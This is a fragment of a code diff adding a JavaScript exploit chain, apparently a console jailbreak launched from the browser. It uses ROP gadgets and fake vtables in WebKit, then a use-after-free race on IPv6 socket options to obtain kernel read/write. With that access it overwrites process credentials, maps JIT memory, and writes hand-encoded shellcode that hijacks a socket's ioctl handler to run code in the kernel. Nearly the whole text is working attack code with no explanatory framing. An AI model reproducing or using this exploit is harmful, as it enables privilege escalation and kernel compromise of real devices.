+ return ptr;
+ }
+
+ function malloc32(sz) {
+ var backing = new Uint8Array(0x10000 + sz * 4);
+ window.nogc.push(backing);
+ var ptr = p.read8(p.leakval(backing).add32(0x10));
+ ptr.backing = new Uint32Array(backing.buffer);
+ return ptr;
+ }
+
+ function array_from_address(addr, size) {
+ var og_array = new Uint32Array(0x1000);
+ var og_array_i = p.leakval(og_array).add32(0x10);
+
+ p.write8(og_array_i, addr);
+ p.write4(og_array_i.add32(8), size);
+ //p.write4(og_array_i.add32(0xC), 0x1);
+
+ nogc.push(og_array);
+ return og_array;
+ }
+
+ function stringify(str) {
+ var bufView = new Uint8Array(str.length + 1);
+ for (var i = 0; i < str.length; i++) {
+ bufView[i] = str.charCodeAt(i) & 0xFF;
+ }
+ window.nogc.push(bufView);
+ return p.read8(p.leakval(bufView).add32(0x10));
+ }
+ function readString(addr)
+ {
+ var byte = p.read4(addr);
+ var str = "";
+ var i = 0;
+ while (byte & 0xFF)
+ {
+ str += String.fromCharCode(byte & 0xFF);
+ byte = p.read4(addr.add32(i));
+ i++;
+ }
+ return str;
+ }
+
+
+
+ var fakeVtable_setjmp = p.malloc32(0x200);
+ var fakeVtable_longjmp = p.malloc32(0x200);
+ var original_context = p.malloc32(0x40);
+ var modified_context = p.malloc32(0x40);
+
+ p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
+ p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
+ p.write8(fakeVtable_setjmp.add32(0x10), original_context);
+ p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
+ p.write8(fakeVtable_setjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
+
+ p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
+ p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
+ p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
+ p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
+ p.write8(fakeVtable_longjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
+
+ function launch_chain(chain) {
+
+ chain.push(window.gadgets["pop rdi"]);
+ chain.push(original_context);
+ chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
+
+ p.write8(textAreaVtPtr, fakeVtable_setjmp);
+ textArea.scrollLeft = 0x0;
+ p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
+ p.write8(modified_context.add32(0x10), chain.stack);
+ p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
+
+ p.write8(textAreaVtPtr, fakeVtable_longjmp);
+ textArea.scrollLeft = 0x0;
+ p.write8(textAreaVtPtr, textAreaVtable);
+ }
+
+ var kview = new Uint8Array(0x1000);
+ var kstr = p.leakval(kview).add32(0x10);
+ var orig_kview_buf = p.read8(kstr);
+
+ p.write8(kstr, window.libKernelBase);
+ p.write4(kstr.add32(8), 0x40000);
+ var countbytes;
+
+ for (var i = 0; i < 0x40000; i++) {
+ if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
+ countbytes = i;
+ break;
+ }
+ }
+ p.write4(kstr.add32(8), countbytes + 32);
+ var dview32 = new Uint32Array(1);
+ var dview8 = new Uint8Array(dview32.buffer);
+ for (var i = 0; i < countbytes; i++) {
+ if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
+ dview8[0] = kview[i + 3];
+ dview8[1] = kview[i + 4];
+ dview8[2] = kview[i + 5];
+ dview8[3] = kview[i + 6];
+ var syscallno = dview32[0];
+ window.syscalls[syscallno] = window.libKernelBase.add32(i);
+ }
+ }
+ p.write8(kstr, orig_kview_buf);
+ chain = new rop();
+ if (chain.syscall(23, 0).low != 0x0) {
+ try {
+ stage3();
+ } catch (e) {
+ alert(e);
+ }
+ }
+
+ jbdone();
+}
+
+function stage3() {
+
+ const AF_INET6 = 28;
+ const SOCK_DGRAM = 2;
+ const IPPROTO_UDP = 17;
+ const IPPROTO_IPV6 = 41;
+ const IPV6_TCLASS = 61;
+ const IPV6_2292PKTOPTIONS = 25;
+ const IPV6_RTHDR = 51;
+ const IPV6_PKTINFO = 46;
+
+ const SPRAY_TCLASS = 0x53;
+ const TAINT_CLASS = 0x58;
+ const TCLASS_MASTER = 0x2AFE0000;
+
+ const PKTOPTS_PKTINFO_OFFSET = 0x10;
+ const PKTOPTS_RTHDR_OFFSET = 0x68;
+ const PKTOPTS_TCLASS_OFFSET = 0xB0;
+
+ const PROC_UCRED_OFFSET = 0x40;
+ const PROC_FILEDESC_OFFSET = 0x48;
+ const PROC_PID_OFFSET = 0xB0;
+
+
+ const FILE_FOPS_OFFSET = 0x8;
+ const FILEOPS_IOCTL_OFFSET = 0x18;
+ const VM_MAP_PMAP_OFFSET = 0x120;
+
+ const KERNEL_M_IP6OPT_OFFSET = 0x1A7AEA0;
+ const KERNEL_MALLOC_OFFSET = 0x301840;
+ const KERNEL_ALLPROC_OFFSET = 0x1B48318;
+ const KERNEL_PMAP_STORE_OFFSET = 0x22C5268;
+
+ const NUM_SPRAY_SOCKS = 200;
+ const NUM_LEAK_SOCKS = 200;
+ const NUM_SLAVE_SOCKS = 300;
+
+ const size_of_triggered = 0x8;
+ const size_of_valid_pktopts = 0x18;
+ const size_of_size_of_tclass = 0x8;
+ const size_of_master_main_tclass = 0x8;
+ const size_of_master_thr1_tclass = 0x8;
+ const size_of_master_thr2_tclass = 0x8;
+ const size_of_spray_tclass = 0x8;
+ const size_of_taint_tclass = 0x8;
+ const size_of_tmp_tclass = 0x8;
+ const size_of_rthdr_buffer = 0x800;
+ const size_of_ptr_size_of_rthdr_buffer= 0x8;
+ const size_of_spray_socks = 0x4 * NUM_SPRAY_SOCKS;
+ const size_of_leak_socks = 0x4 * NUM_LEAK_SOCKS;
+ const size_of_slave_socks = 0x4 * NUM_SLAVE_SOCKS;
+ const size_of_spray_socks_tclasses = 0x4 * NUM_SPRAY_SOCKS;
+ const size_of_pktinfo_buffer = 0x18;
+ const size_of_pktinfo_buffer_len = 0x8;
+ const size_of_find_slave_buffer = 0x8 * NUM_SLAVE_SOCKS + 0x10;
+ const size_of_fake_socketops = 0x58;
+ const size_of_loop_counter = 0x8;
+ const size_of_fix_these_sockets = 0x4 * (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2) + 0x18;
+ const var_memory = p.malloc(size_of_triggered + size_of_valid_pktopts + size_of_size_of_tclass + size_of_master_main_tclass + size_of_master_thr1_tclass + size_of_master_thr2_tclass + size_of_spray_tclass + size_of_taint_tclass + size_of_tmp_tclass +
+ size_of_rthdr_buffer + size_of_ptr_size_of_rthdr_buffer+ size_of_spray_socks + size_of_leak_socks + size_of_slave_socks + size_of_spray_socks_tclasses + size_of_pktinfo_buffer + size_of_pktinfo_buffer_len + size_of_find_slave_buffer + size_of_fake_socketops + size_of_loop_counter +
+ size_of_fix_these_sockets
+ );
+
+ const triggered = var_memory;
+ const valid_pktopts = triggered.add32(size_of_triggered);
+ const size_of_tclass = valid_pktopts.add32(size_of_valid_pktopts);
+ const master_main_tclass = size_of_tclass.add32(size_of_size_of_tclass);
+ const master_thr1_tclass = master_main_tclass.add32(size_of_master_main_tclass);
+ const master_thr2_tclass = master_thr1_tclass.add32(size_of_master_thr1_tclass);
+ const spray_tclass = master_thr2_tclass.add32(size_of_master_thr2_tclass);
+ const taint_tclass = spray_tclass.add32(size_of_spray_tclass);
+ const tmp_tclass = taint_tclass.add32(size_of_taint_tclass);
+ const rthdr_buffer = tmp_tclass.add32(size_of_tmp_tclass);
+ const ptr_size_of_rthdr_buffer = rthdr_buffer.add32(size_of_rthdr_buffer);
+ const spray_sockets_ptr = ptr_size_of_rthdr_buffer.add32(size_of_ptr_size_of_rthdr_buffer);
+ const leak_sockets_ptr = spray_sockets_ptr.add32(size_of_spray_socks);
+ const slave_sockets_ptr = leak_sockets_ptr.add32(size_of_leak_socks);
+ const spray_socks_tclasses_ptr = slave_sockets_ptr.add32(size_of_slave_socks);
+ const pktinfo_buffer = spray_socks_tclasses_ptr.add32(size_of_spray_socks_tclasses);
+ const pktinfo_buffer_len = pktinfo_buffer.add32(size_of_pktinfo_buffer);
+ const find_slave_buffer = pktinfo_buffer_len.add32(size_of_pktinfo_buffer_len);
+ const fake_socketops = find_slave_buffer.add32(size_of_find_slave_buffer);
+ const loop_counter = fake_socketops.add32(size_of_fake_socketops);
+ const fix_these_sockets_ptr = loop_counter.add32(size_of_loop_counter);
+
+ var overlapped_socket = -1;
+ var overlapped_socket_idx = -1;
+
+ var slave_socket = -1;
+
+ var leaked_pktopts_address = 0;
+
+ var target_file;
+ var socketops;
+ var kernel_base;
+
+ p.write8(valid_pktopts.add32(0x0), 0x14);
+ p.write4(valid_pktopts.add32(0x8), IPPROTO_IPV6);
+ p.write4(valid_pktopts.add32(0xC), IPV6_TCLASS);
+ p.write4(valid_pktopts.add32(0x10), 0x0);
+
+ p.write8(size_of_tclass, 0x4);
+ p.write8(spray_tclass, SPRAY_TCLASS);
+
+ p.write8(master_main_tclass, 0x0);
+ p.write8(master_thr1_tclass, 0x0);
+ p.write8(master_thr2_tclass, 0x0);
+
+ p.write8(taint_tclass, TAINT_CLASS);
+ p.write8(tmp_tclass, 0x10);
+
+ p.write8(pktinfo_buffer_len, 0x14);
+
+ //create sockets
+ const master_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
+ const target_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
+ const spare_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
+
+ const this_pid = chain.syscall(20).low;
+
+ {
+
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+ chain.write_result4(spray_sockets_ptr.add32(0x4 * i));
+ }
+ for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
+ chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+ chain.write_result4(leak_sockets_ptr.add32(0x4 * i));
+ }
+ for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
+ chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+ chain.write_result4(slave_sockets_ptr.add32(0x4 * i));
+ }
+ }
+ chain.run();
+
+ const spray_sockets = p.array_from_address(spray_sockets_ptr, NUM_SPRAY_SOCKS);
+ const spray_socks_tclasses = p.array_from_address(spray_socks_tclasses_ptr, NUM_SPRAY_SOCKS);
+
+ const leak_sockets = p.array_from_address(leak_sockets_ptr, NUM_LEAK_SOCKS);
+ const slave_sockets = p.array_from_address(slave_sockets_ptr, NUM_SLAVE_SOCKS);
+
+ const fix_me = p.array_from_address(fix_these_sockets_ptr, NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2);
+
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ fix_me[i] = spray_sockets[i];
+ }
+ for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
+ fix_me[i + NUM_SPRAY_SOCKS] = leak_sockets[i];
+ }
+ for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
+ fix_me[i + (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS)] = slave_sockets[i];
+ }
+
+ fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x0] = master_socket;
+ fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x1] = spare_socket;
+
+ for (var i = 0; i < 10; i++) {
+ p.write8(fake_socketops.add32(i * 0x8), window.gadgets["ret"]);
+ }
+ p.write8(fake_socketops.add32(0x50), 1);
+
+ var thr1_start;
+ var thr1_ctrl;
+ const thread1 = chain.spawn_thread("thread1", function (new_thr) {
+ const loop_start = new_thr.get_rsp();
+ const trigger_condition = new_thr.create_equal_branch(triggered, 1);
+
+ const triggered_false = new_thr.get_rsp();
+ new_thr.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr1_tclass, size_of_tclass);
+ const overlap_condition = new_thr.create_equal_branch(master_thr1_tclass, SPRAY_TCLASS);
+
+ const overlap_false = new_thr.get_rsp();
+ new_thr.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts);
+ new_thr.push(window.gadgets["pop rdi"]);
+ var dest_idx = new_thr.pushSymbolic();
+ new_thr.push(window.gadgets["pop rsi"]);
+ var src_idx = new_thr.pushSymbolic();
+ new_thr.push(window.gadgets["mov [rdi], rsi"]);
+ var l1 = new_thr.get_rsp();
+ new_thr.push(window.gadgets["pop rsp"]);
+ var l2 = new_thr.get_rsp();
+ new_thr.push(0x43434343);
+
+ new_thr.finalizeSymbolic(dest_idx, l2);
+ new_thr.finalizeSymbolic(src_idx, l1);
+ thr1_start = loop_start;
+ thr1_ctrl = l2;
+
+ const overlap_true = new_thr.get_rsp();
+ new_thr.push_write8(triggered, 1);
+
+ const triggered_true = new_thr.get_rsp();
+ new_thr.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0);
+
+ new_thr.set_branch_points(trigger_condition, triggered_true, triggered_false);
+ new_thr.set_branch_points(overlap_condition, overlap_true, overlap_false);
+ });
+
+ //boys dont race too fast now, kthx.
+ var me = chain.call(libKernelBase.add32(OFFSET_lk_pthread_self));
+ var prio = p.malloc(0x8);
+ p.write4(prio, 0x100);
+ var r = chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio);
+
+ const thread3 = new rop(); {
+ //main loop
+ const loop_start = thread3.get_rsp();
+ //set valid.
+ thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts);
+ //make thr1 give it a go
+ thread3.push_write8(thr1_ctrl, thr1_start);
+ thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr2_tclass, size_of_tclass);
+ thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_tclass, 4);
+ }
+ thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_main_tclass, size_of_tclass);
+ const overlap_condition = thread3.create_equal_branch(master_main_tclass, SPRAY_TCLASS);
+ const overlap_false = thread3.get_rsp();
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ }
+ thread3.jmp_rsp(loop_start);
+ const overlap_true = thread3.get_rsp();
+ thread3.push_write8(triggered, 1);
+ thread3.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_TCLASS, taint_tclass, 4);
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ thread3.fcall(syscalls[118], spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_socks_tclasses_ptr.add32(0x4 * i), size_of_tclass);
+ }
+ //make sure the thread will exit(?)
+ thread3.push_write8(thr1_ctrl, thr1_start);
+ thread3.set_branch_points(overlap_condition, overlap_true, overlap_false);
+ }
+ //trigger uaf
+ thread1();
+ thread3.run();
+
+ function find_socket_overlap() {
+ for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
+ if (spray_socks_tclasses[i] == TAINT_CLASS) {
+ overlapped_socket = spray_sockets[i];
+ overlapped_socket_idx = i;
+ return;
+ }
+ }
+ alert("[ERROR] -> failed to find socket overlap. (should be unreachable)");
+ while (1) {};
+ }
+
+ function fake_pktopts(pktinfo) {
+ {
+
+ chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100);
+ chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00);
+ chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo);
+ chain.push_write8(loop_counter, 0);
+ chain.push_write8(tmp_tclass, 0x1);
+ for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
+ chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4);
+ }
+ chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+
+ const loop_start = chain.get_rsp();
+ const loop_condition = chain.create_equal_branch(loop_counter, 0x100);
+
+ const loop_condition_false = chain.get_rsp();
+ for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
+ chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i));
+ chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8);
+ }
+ chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass);
+ const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER);
+
+ const overlap_false = chain.get_rsp();
+ chain.push(window.gadgets["pop rax"]);
+ chain.push(loop_counter);
+ chain.push(window.gadgets["inc dword [rax]"]);
+ chain.jmp_rsp(loop_start);
+
+ const loop_condition_true = chain.get_rsp();
+ const overlap_true = chain.get_rsp();
+
+ chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false);
+ chain.set_branch_points(overlap_condition, overlap_true, overlap_false);
+ }
+ chain.run();
+
+ const tclass = p.read4(tmp_tclass);
+ if ((tclass & 0xFFFF0000) == TCLASS_MASTER) {
+ overlapped_socket_idx = (tclass & 0x0000FFFF);
+ overlapped_socket = leak_sockets[overlapped_socket_idx];
+ return;
+ }
+ alert("[ERROR] failed to find RTHDR <-> master socket overlap");
+ while (1) {};
+
+ }
+
+ function leak_rthdr_address(size) {
+ const ip6r_len = ((size >> 3) - 1 & ~1);
+ const ip6r_segleft = (ip6r_len >> 1);
+ const header = (ip6r_len << 8) + (ip6r_segleft << 24); {
+ chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, size);
+ chain.push_write8(rthdr_buffer, header);
+ chain.push_write8(ptr_size_of_rthdr_buffer, size);
+ chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ((ip6r_len + 1) << 3));
+ chain.fcall(syscalls[118], overlapped_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ptr_size_of_rthdr_buffer);
+ }
+ chain.run();
+ const kaddress = p.read8(rthdr_buffer.add32(PKTOPTS_RTHDR_OFFSET));
+ return kaddress;
+ }
+
+ function leak_pktopts() {
+ leaked_pktopts_address = leak_rthdr_address(0x100); {
+ chain.push_write8(tmp_tclass, 0x10);
+ chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
+ for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
+ chain.fcall(syscalls[105], slave_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4);
+ }
+ }
+ chain.run();
+ }
+
+ function find_slave() {
+ {
+ chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
+ chain.push_write8(pktinfo_buffer.add32(0x8), 0);
+ chain.push_write8(pktinfo_buffer.add32(0x10), 0);
+ chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
+ for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
+ chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len);
+ }
+ }
+ chain.run();
+
+ for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
+ if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) {
+ slave_socket = slave_sockets[i];
+ return;
+ }
+ }
+ alert("[ERROR] failed to find slave");
+ while (1) {};
+ }
+
+ function kernel_read8(address) {
+ {
+ chain.push_write8(pktinfo_buffer, address);
+ chain.push_write8(pktinfo_buffer.add32(0x8), 0);
+ chain.push_write8(pktinfo_buffer.add32(0x10), 0);
+ chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
+ chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len)
+ }
+ chain.run();
+ return p.read8(pktinfo_buffer);
+ }
+
+ function kernel_write8(address, value) {
+ {
+ chain.push_write8(pktinfo_buffer, address);
+ chain.push_write8(pktinfo_buffer.add32(0x8), 0);
+ chain.push_write8(pktinfo_buffer.add32(0x10), 0);
+ chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
+ chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len);
+ chain.push_write8(pktinfo_buffer, value);
+ chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
+ }
+ chain.run();
+ }
+
+ function brute_force_kernel_map() {
+ var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi);
+ for (var i = 0; i < 0xC0; i++) {
+ var kernel_pmap_store = kernel_read8(attempt);
+ if (kernel_pmap_store.hi == 0xFFFFFFFF && ((kernel_pmap_store.low & 0x3FFF) == (KERNEL_PMAP_STORE_OFFSET & 0x3FFF))) {
+ kernel_base = kernel_pmap_store.sub32(KERNEL_PMAP_STORE_OFFSET);
+ if ((kernel_base.low & 0x3FFF) == 0x0) {
+ return;
+ }
+ }
+ attempt.sub32inplace(0x01000000);
+ }
+ alert("[ERROR] failed to find kernel_map");
+ while (1) {};
+ }
+
+ function find_proc() {
+ var proc = kernel_read8(kernel_base.add32(KERNEL_ALLPROC_OFFSET));
+ while (proc.low != 0) {
+ var pid = kernel_read8(proc.add32(PROC_PID_OFFSET));
+ if (pid.low == this_pid) {
+ return proc;
+ }
+ proc = kernel_read8(proc);
+ }
+ alert("[ERROR] failed to find proc");
+ while (1) {};
+ }
+
+ function find_execution_socket() {
+
+ var filedesc = kernel_read8(proc.add32(PROC_FILEDESC_OFFSET));
+ var ofiles = kernel_read8(filedesc);
+ target_file = kernel_read8(ofiles.add32(0x8 * target_socket))
+ socketops = kernel_read8(target_file.add32(FILE_FOPS_OFFSET));
+ }
+ //lower priority
+ p.write4(prio, 0x1FF);
+ chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio);
+ //find uaf
+ find_socket_overlap();
+ //play with uaf
+ fake_pktopts(0);
+ leak_sockets[overlapped_socket_idx] = spare_socket;
+ //leak shit
+ leak_pktopts();
+ fake_pktopts(leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
+ //find vvictim
+ find_slave();
+ brute_force_kernel_map();
+ const proc = find_proc();
+ const proc_ucred = kernel_read8(proc.add32(PROC_UCRED_OFFSET));
+ kernel_write8(proc_ucred.add32(0x68), new int64(0xFFFFFFFF, 0xFFFFFFFF));
+
+ find_execution_socket();
+ var exec_handle = chain.syscall(533, 0, 0x100000, 7);
+ var write_handle = chain.syscall(534, exec_handle, 3);
+ var write_address = chain.syscall(477, new int64(0x91000000, 0x9), 0x100000, 3, 17, write_handle, 0);
+ var exec_address = chain.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0)
+ chain.syscall(324, 1);
+ if(exec_address.low != 0x90000000) {
+ alert("[ERROR] failed to allocate jit memory");
+ while(1){};
+ }
+ var exec_writer = p.array_from_address(write_address, 0x4000);
+ for(var i = 0; i < 0x200; i++) {
+ exec_writer[i] = 0x90909090;
+ }
+ exec_writer[0x200] = 0x37C0C748;
+ exec_writer[0x201] = 0xC3000013;
+ if(chain.call(exec_address).low != 0x1337) {
+ alert("[ERROR] hmm weird");
+ while(1){};
+ }
+
+ exec_writer[0] = 0x54415355;
+ exec_writer[1] = 0x1111BB48;
+ exec_writer[2] = 0x11111111;
+ exec_writer[3] = 0xBD481111;
+ exec_writer[4] = 0x22222222;
+ exec_writer[5] = 0x22222222;
+ exec_writer[6] = 0xBFE4314D;
+ exec_writer[7] = 0x000000C0;
+ exec_writer[8] = 0xBADE8948;
+ exec_writer[9] = 0x00000002;
+ exec_writer[10] = 0x8349D5FF;
+ exec_writer[11] = 0x814901C4;
+ exec_writer[12] = 0x000500FC;
+ exec_writer[13] = 0x41E47500;
+ exec_writer[14] = 0x655D5B5C;
+ exec_writer[15] = 0x25048B48;
+ exec_writer[16] = 0x00000000;
+ exec_writer[17] = 0x08408B48;
+ exec_writer[18] = 0x48408B48;
+ exec_writer[19] = 0x48008B48;
+ exec_writer[20] = 0x333333B9;
+ exec_writer[21] = 0x33333333;
+ exec_writer[22] = 0xC7C74833;
+ exec_writer[23] = 0x000002BE; // num sockets
+ exec_writer[24] = 0x48F63148;
+ exec_writer[25] = 0x117DFE39;
+ exec_writer[26] = 0x48B1148B;
+ exec_writer[27] = 0x00D004C7;
+ exec_writer[28] = 0x48000000;
+ exec_writer[29] = 0xEB01C683;
+ exec_writer[30] = 0x44BF48EA;
+ exec_writer[31] = 0x44444444;
+ exec_writer[32] = 0x48444444;
+ exec_writer[33] = 0x555555BE;
+ exec_writer[34] = 0x55555555;
+ exec_writer[35] = 0x37894855;
+ exec_writer[36] = 0x6666BF48;
+ exec_writer[37] = 0x66666666;
+ exec_writer[38] = 0x200F6666;
+ exec_writer[39] = 0xFF2548C0;
+ exec_writer[40] = 0x0FFFFEFF;
+ exec_writer[41] = 0x87C6C022;
+ exec_writer[42] = 0x0063A160;
+ exec_writer[43] = 0xC087C7C3;
+ exec_writer[44] = 0x480063AC;
+ exec_writer[45] = 0xC7C3C031;
+ exec_writer[46] = 0x639F1087;
+ exec_writer[47] = 0xC0314800;
+ exec_writer[48] = 0xE087C7C3;
+ exec_writer[49] = 0x480063A6;
+ exec_writer[50] = 0xC6C3C031;
+ exec_writer[51] = 0x67B5C087;
+ exec_writer[52] = 0xBE480002;
+ exec_writer[53] = 0x90909090;
+ exec_writer[54] = 0x8B499090;
+ exec_writer[55] = 0x08B78948;
+ exec_writer[56] = 0xC700264C;
+ exec_writer[57] = 0x087B7087;
+ exec_writer[58] = 0x0000B800;
+ exec_writer[59] = 0x9087C700;
+ exec_writer[60] = 0x00000004;
+ exec_writer[61] = 0x66000000;
+ exec_writer[62] = 0x04B987C7;
+ exec_writer[63] = 0x90900000;
+ exec_writer[64] = 0xBD87C766;
+ exec_writer[65] = 0x90000004;
+ exec_writer[66] = 0x87C76690;
+ exec_writer[67] = 0x000004C6;
+ exec_writer[68] = 0x87C6E990;
+ exec_writer[69] = 0x001D2336;
+ exec_writer[70] = 0x3987C637;
+ exec_writer[71] = 0x37001D23;
+ exec_writer[72] = 0xC187C766;
+ exec_writer[73] = 0x9000094E;
+ exec_writer[74] = 0x87C766E9;
+ exec_writer[75] = 0x0009547B;
+ exec_writer[76] = 0x87C7E990;
+ exec_writer[77] = 0x002F2C20;
+ exec_writer[78] = 0xC3C03148;
+ exec_writer[79] = 0x7087C748;
+ exec_writer[80] = 0x02011258;
+ exec_writer[81] = 0x48000000;
+ exec_writer[82] = 0xB192B78D;
+ exec_writer[83] = 0x89480006;
+ exec_writer[84] = 0x125878B7;
+ exec_writer[85] = 0x9C87C701;
+ exec_writer[86] = 0x01011258;
+ exec_writer[87] = 0x48000000;
+ exec_writer[88] = 0x0100000D;
+ exec_writer[89] = 0xC0220F00;
+ exec_writer[90] = 0x8080B848;
+ exec_writer[91] = 0x80808080;
+ exec_writer[92] = 0x90C38080;
+
+ p.write8(write_address.add32(0x6), kernel_base.add32(KERNEL_M_IP6OPT_OFFSET));
+ p.write8(write_address.add32(0x10), kernel_base.add32(KERNEL_MALLOC_OFFSET));
+ p.write8(write_address.add32(0x51), fix_these_sockets_ptr);
+
+ p.write8(write_address.add32(0x7B), target_file.add32(FILE_FOPS_OFFSET));
+ p.write8(write_address.add32(0x85), socketops);
+ p.write8(write_address.add32(0x92), kernel_base);
+
+ p.write8(fake_socketops.add32(FILEOPS_IOCTL_OFFSET), exec_address);
+ kernel_write8(target_file.add32(FILE_FOPS_OFFSET), fake_socketops);
